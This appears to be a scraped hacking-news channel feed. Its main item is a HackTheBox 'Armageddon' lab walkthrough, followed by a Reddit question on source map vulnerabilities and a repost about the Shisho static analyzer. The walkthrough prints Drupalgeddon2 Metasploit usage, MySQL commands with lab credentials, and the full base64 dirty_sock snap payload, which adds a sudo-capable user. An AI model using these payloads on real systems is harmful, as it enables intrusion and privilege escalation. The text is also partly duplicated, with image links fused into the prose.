Hacking Articles Tips Tricks Videos Tutorials

Hacking Articles|Raj Chandel's Blog
Armageddon HackTheBox Walkthrough

We’ll look at another one of HackTheBox machines today, called “Armageddon.” It is an easy box targeting commonly found threat of using outdated plugins. In this box, old and vulnerable version of Drupal is showcased. We’d own the root user by targeting it. Here is the methodology. Penetration Testing Methodology· NmapVulnerability Analysis and Exploitation· Drupalgeddon2 RCE exploit to gain user shellPrivilege Escalation· Searching for mysql database credentials in default filesReconMachine’s IP was 10.129.48.89. The first step was to run nmap’s aggressive scan to look for open ports. As you can see a port 80 was found to be open.nmap -A 10.129.48.89https://blogger.googleusercontent.com/img/a/AVvXsEiIseJMMBSWNZIY_v8137CAhYplR3SCz5373lhxqSgZbTkFUrH_vTmX4-GRyivcJR2bU88jqe9wOEQS9qoRS9HvnABh17fCRNwHQM6voofL9NmLWOujHPOidqYq-bfyYgLE1cseZYn8kJzVtxM8RECvzA_zg7RwluCgn05YLuW1X9QSAOSccZAzeGC0FQ=s16000 On traversing the website on port 80, it seemed a CMS made website.Vulnerability Analysis and ExploitationWe knew that Drupal 7.X before 7.58 was vulnerable to various CVEs including CVE-2018-7600. Drupalgeddon2 exploit is developed to exploit Drupal’s form API and exploits insufficient input validation. You can refer the original repo here.Privilege EscalationGladly Metasploit had this exploit in the framework, so we just used that and spawned an interactive shell. On checking the current directory we saw the site installation files with necessary permissions to let us view the content.use exploit/unix/webapp/drupal_drupalgeddon2A basic ls let us view contents.___________________________
@hacking_Attack
@Hacking_Video

Blogspot

Armageddon HackTheBox Walkthrough

Hacking Articles is a very interesting blog about information security, penetration testing and vulnerability assessment managed by Raj Chandel.

3 viewsedited 20:32

Hacking Articles Tips Tricks Videos Tutorials

Hacking Articles|Raj Chandel's Blog Armageddon HackTheBox Walkthrough We’ll look at another one of HackTheBox machines today, called “Armageddon.” It is an easy box targeting commonly found threat of using outdated plugins. In this box, old and vulnerable…

7qaYIOPPa04kHlbGulwCPiNs4ShNxXR2XVcGg=s16000 As you can see on the official forums of Drupal, we found the location, which is /sites/default/settings.phphttps://blogger.googleusercontent.com/img/a/AVvXsEiJ-cfFE6LquSuNH7EuuqGxgaoa0wWaZNLlQk8FAMtFNAnsc6w0_WCcKpgISikydcaFJskdycol8-ir05S4WDlCCSot47XBzzRm6y5INy4NG9RN6WsV94kOsesSq3E8mfUUNh-52HdjHRyUWxPHr0OazkEvP3kjOl6KmrpzQSQDnFzN7qQA1Z8ak6F4Tw=s16000 So, we traversed to the directory and read settings.phpfilecd siteshttps://blogger.googleusercontent.com/img/a/AVvXsEit3RCCI0S2Wn61zSi1PNCdwsdP0nsB4qrvELH6pJfVpGOW5Up42Qkf69NBLj27GLxVCk1auMyAhJIQpuNedHzZvyZpOnrm3B7YP01k9CzsJH7nlTeze6SNvZ9zKPP3nMQnalsuiyyx0_7bnx_0a0ouRR4_J2BFcAzCbs44KW05nK3AgON5dUHyGyK_Sw=s16000 Scrolling a little further down we observed the credentials.shellFirst, we found the available tables in the current database.mysql -u 'drupaluser' -p'CQHEy@9M*m23gBVj' -D drupal -e 'show tables;'https://blogger.googleusercontent.com/img/a/AVvXsEiSkwd6AS_8tAG2j4k-f7yYfM6JdKygJLW5d0_Gg7FqHzXUvNs-_fWhUqtailSOt3xYzdtOVVIMVkear-jGPNY-B6jmNTxjThU4pjgA2j9sgEf9Y5zKwXw-z1-Kzg9dNyODUKuexv4yC4SvP_6gZHqt6ZoKI871crPtHKr5-j5dMItH3oJm70FvIQ63Ug=s16000 An important database ‘users’ was found. describe tablecommand to dump the schema of the table and finally, select command to dump username and password.mysql -u 'drupaluser' -p'CQHEy@9M*m23gBVj' -D drupal -e 'describe users;'https://blogger.googleusercontent.com/img/a/AVvXsEjmcn26mhQr05d3XJ5tFDAjA6040CZ4p3N_KP8EX3wHgEXB15JmZkAzUuPAUoSRehUb6yIApT1HAARWkJbdJj6y-GOGbLl2xujba5cjAjAdlgOOL-8LaADdVPcTFmCg1FU9rwEhGKdcPXD7_JcI6SO0hIwmzGQ-KBuP8sAE53jUj5GmHPa6bNe1EBlUvw=s16000 After obtaining the username (brucetherealadmin) and a password hash, we copied the hash in a text file and cracked it using JohnTheRipper.nano hash (to copy the hash in the file)https://blogger.googleusercontent.com/img/a/AVvXsEguzzBo6vagUuRLojLvNACf8JxowhdpGOut_9PIzJGXgM1atdYDjj5ojsvNacnnmAqR749JskADK6Sm2zlbXAySqDWajqJo8qwA0Nu7mJOpuKzTEQHOlxdqyoa3_rwEmAUdSqKdp8nzCbnnmBsDsLqKcvb6U9SLY_hfWJQ7Cih_ZfMa_9Uf_XlkkMKvLw=s16000 After obtaining the clear text password, we SSHed into the server and snagged the user.txt flag.ssh brucetherealadmin@10.129.48.89Next, we checked sudoers file for usable entries and found snap binary in it.sudo -lhttps://blogger.googleusercontent.com/img/a/AVvXsEhzxrkVbZBSXv1dwnyeCxjM7GV1X8TfYJlXuG_dyYVs7dtHpQjS9lo8sjQ361nQw3DQ-gZ9NY-OcqNHZDwyGbWwcCei020LLQtpyWthO_xY84vJmDyo35dSEpShDnDBOwbImgCv6tR54YEJ77xC6DGaL2BVCAK4m5SGma0IUYdoFv0zKAsAyUxUibgAew=s16000 Snap is a Debian software packaging and deployment system used to install “snaps.” These snaps are other softwares. So, if we were to write our own script and deploy it using snap, we could escalate privileges. This is precisely what the exploit “dirty_sock” did.___________________________
@hacking_Attack
@Hacking_Video

5 viewsedited 20:32

Hacking Articles Tips Tricks Videos Tutorials

7qaYIOPPa04kHlbGulwCPiNs4ShNxXR2XVcGg=s16000 As you can see on the official forums of Drupal, we found the location, which is /sites/default/settings.phphttps://blogger.googleusercontent.com/img/a/AVvXsEiJ-cfFE6LquSuNH7EuuqGxgaoa0wWaZNLlQk8FAMtFNAnsc6w0_W…

t.com/img/a/AVvXsEg1FcseGye-aVCfkhh654CtM32g9pRs6UqDXGs92oycgs0x1rR47kcKkHxyN8wW6BSUCYCTa-CA696cUo0l-8MJblzqUhfNBbuI7llL1-QP_mxMNX-gzVtI3nHce1Y1xsyf_dK_jBU0wPZhgg3I_boSonQYl9DdpYsfcmR-Kw4meHhjkptjy4c_3BmrbA=s16000 This exploit tampers with the snapd API running in Debian to append a socket call that makes it believes that a root user is making requests. For more info, refer here.python -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"*4256 + "=="' | base64 -d > raj.snapAnd then we installed it usingsudo /usr/bin/snap install –devmode raj.snaphttps://blogger.googleusercontent.com/img/a/AVvXsEgepMu9oEnLogPRjKSOuNObT_pP3FxKc17T1wMmLBnGAcszzZok4MISUfq1b122O_sq1CiS84MnysGCYs2FMqgxlP0kraLsL3GdkWFf0R9XIKUYPJnF00l32ruIOgZKxS9lHMnTS9VrGiyM3FffUp18JlfDL4sC1msMUldaB1OvXnQs8vmZqCfA4DYNeQ=s16000 As you can see, the user dirty_sock has been added in the system. The exploit created a user “dirty_sock” with password “dirty_sock”tail /etc/passwdhttps://blogger.googleusercontent.com/img/a/AVvXsEgufgsMCplbiAdGTG0vIGqu_fGjCn79ljf0sEY_4TrbinEhdyrYiT3D203F-bXFj1Wl6I7da_bEEwdBjsR36mDxetQRG4NZiUc3q2Dn2HO9IG32zabfh8fP3Z4HWSZNGMFhvCPIxUNLbD5xZXA3Y9ySM315CQ7r2K8esasrcvyM3Z446frgQIcLF9fpZg=s16000 Now, we were able to SSH into this newly created account. But we simply changed the account usingsu dirty_sockThe password was the same as the username. Upon checking the sudoers file, we saw that any command could be run as root. This was the doing of that exploit.sudo -iAnd snagged the root flag.___________________________
@hacking_Attack
@Hacking_Video

6 viewsedited 20:32

Hacking Articles Tips Tricks Videos Tutorials

What is a source maps vulnerability?
https://www.reddit.com/r/Pentesting/comments/q6swv3/what_is_a_source_maps_vulnerability/

I was wondering if any can simplify the source maps vulnerability?. I've googled this vulnerability but can't get my head around this. Could anyone please help me to understand this issue and how do I investigate and find the issue?. All I know it's normally a '`.map`' file, is it correct and normally can be done by adding `.map` at the end of the `js` extension? Something like `example.js.map.` Not sure how to tell the difference between minified and unminify code? submitted by /u/sr-zeus (https://www.reddit.com/user/sr-zeus)
[link] (https://www.reddit.com/r/Pentesting/comments/q6swv3/what_is_a_source_maps_vulnerability/) [comments] (https://www.reddit.com/r/Pentesting/comments/q6swv3/what_is_a_source_maps_vulnerability/)

___________________________
@hacking_Attack
@Hacking_Video

What is a source maps vulnerability?

I was wondering if any can simplify the source maps vulnerability?. I've googled this vulnerability but can't get my head around this. Could...

6 viewsedited 20:33

Hacking Articles Tips Tricks Videos Tutorials

5 views20:48

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking Articles
Armageddon HackTheBox Walkthrough

We’ll look at another one of HackTheBox machines today, called “Armageddon.” It is an easy box targeting the commonly found threat of using outdated plugins. In this box, an old and vulnerable version of Drupal is showcased. We’d own the root user by targeting it. Here is the methodology. Penetration

The post Armageddon HackTheBox Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles

Armageddon HackTheBox Walkthrough

Complete Armageddon HTB solution: Drupalgeddon exploit, MySQL creds reuse, and Linux privilege escalation techniques.

5 viewsedited 20:48

Hacking Articles Tips Tricks Videos Tutorials

6 views21:38

Hacking Articles Tips Tricks Videos Tutorials

Photo

KitPloit - PenTest Tools!
Shisho - Lightweight Static Analyzer For Several Programming Languages

https://blogger.googleusercontent.com/img/a/AVvXsEhjeOPrPfhcUyXSBkhzzsX5kx9rR9UnTis5QCVKEeDsJ-n5hOWOB-Dm9kUt6oKVS1IebHEiWZhMNvRpl2brl8TPJSUSXL8UmLRULenf8s6166K9s7zWDs-wb-UvebV-8eOAOJoX7wxC9facM7LE7qPNPmVIYHOccL-q-y_buhO84YISPhNeaNnY7I76MA=w640-h182
Shisho is a lightweight static analyzer for developers.

Please see the usage documentation for further information.
https://blogger.googleusercontent.com/img/a/AVvXsEicHW2YENiWtucGKiTFVkDGkNFfG3NML7joNUuwHRciD02yT-LfUjk73At5I6BHGZCZZhKTma9KLaNFyX7iWQyvJUWN9I7DHmoZwn2f9Ye9vca3r8TGPoQoMp2wCKATvjDyOZsGtGRlyYVWGdJ78cxMMS-dJGWxPoiFeOuxqvQAtdPFXGXskkvM3ad_nQ=w640-h316
Try at Playground

You can try Shisho at our playground.

Try with Docker

You can try shisho in your machine as follows:

echo "func test(v []string) int { return len(v) + 1; }" | docker run -i ghcr.io/flatt-security/shisho-cli:latest find "len(:[...])" --lang=go

file.go docker run -i -v $(PWD):/workspace ghcr.io/flatt-security/shisho-cli:latest find "len(:[...])" --lang=go /workspace/file.go ">

echo "func test(v []string) int { return len(v) + 1; }" > file.go
docker run -i -v $(PWD):/workspace ghcr.io/flatt-security/shisho-cli:latest find "len(:[...])" --lang=go /workspace/file.go

Install with pre-built binaries

When you'd like to run shisho outside docker containers, please follow the instructions below:

Linux / macOS

Run the following command(s):

# Linux
wget https://github.com/flatt-security/shisho/releases/latest/download/build-x86_64-unknown-linux-gnu.zip -O shisho.zip
unzip shisho.zip
chmod +x ./shisho
mv ./shisho /usr/local/bin/shisho

# macOS
wget https://github.com/flatt-security/shisho/releases/latest/download/build-x86_64-apple-darwin.zip -O shisho.zip
unzip shisho.zip
chmod +x ./shisho
mv ./shisho /usr/local/bin/shisho

Then you'll see a shisho's executable in /usr/local/bin.

Windows

Download the prebuild binary from releases and put it into your %PATH%directory.

If you're using Windows Subsystem for Linux, you can install shisho with the above instructions.

More

* We're also building Shisho as a Service to make Security-as-Code more accessible.
* If you need direct support, you can contact us at contact@flatt.tech.
Download Shisho

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Kitploit – Maintenance in Progress

Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.

5 viewsedited 21:38

About

Blog

Apps

Platform